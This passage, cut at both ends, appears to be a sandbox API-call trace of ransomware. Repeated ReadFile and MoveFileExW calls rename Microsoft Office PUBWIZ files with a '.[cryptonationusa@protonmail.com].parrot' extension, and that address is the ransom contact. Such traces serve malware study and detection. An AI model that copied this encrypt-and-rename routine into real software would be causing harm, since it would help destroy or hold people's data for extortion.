hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe00, lpOverlapped=0x0) returned 1 [0207.072] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0207.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.079] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.082] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.082] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x556, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x556, lpOverlapped=0x0) returned 1 [0207.082] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0207.088] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.088] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.089] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.090] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e87, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6e87, lpOverlapped=0x0) returned 1 [0207.091] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0207.098] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.098] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.099] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.099] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x75c, lpOverlapped=0x0) returned 1 [0207.100] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0207.114] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.114] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.115] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.116] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae41, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xae41, lpOverlapped=0x0) returned 1 [0207.117] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0207.128] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.128] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.129] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.130] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20ce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x20ce, lpOverlapped=0x0) returned 1 [0207.131] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0207.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.137] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.139] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.139] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xde6, lpOverlapped=0x0) returned 1 [0207.139] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0207.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.144] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.147] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb84, lpOverlapped=0x0) returned 1 [0207.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0207.152] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.152] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.154] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb84, lpOverlapped=0x0) returned 1 [0207.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa410 | out: hHeap=0x5b0000) returned 1 [0207.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0207.160] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.160] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.161] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc00, lpOverlapped=0x0) returned 1 [0207.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTEAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtear.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTEAR.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtear.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0207.166] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.167] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.168] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.168] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe50e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe50e, lpOverlapped=0x0) returned 1 [0207.171] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.176] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.176] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0207.176] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0207.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.182] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.184] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.184] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1712, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1712, lpOverlapped=0x0) returned 1 [0207.185] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0207.191] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.191] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.193] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.193] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0207.193] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0207.198] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.198] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.200] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.200] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2800, lpOverlapped=0x0) returned 1 [0207.201] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0207.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0207.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0207.207] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0207.207] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0207.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.209] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x110e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x110e, lpOverlapped=0x0) returned 1 [0207.210] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0207.213] HeapFree (in: 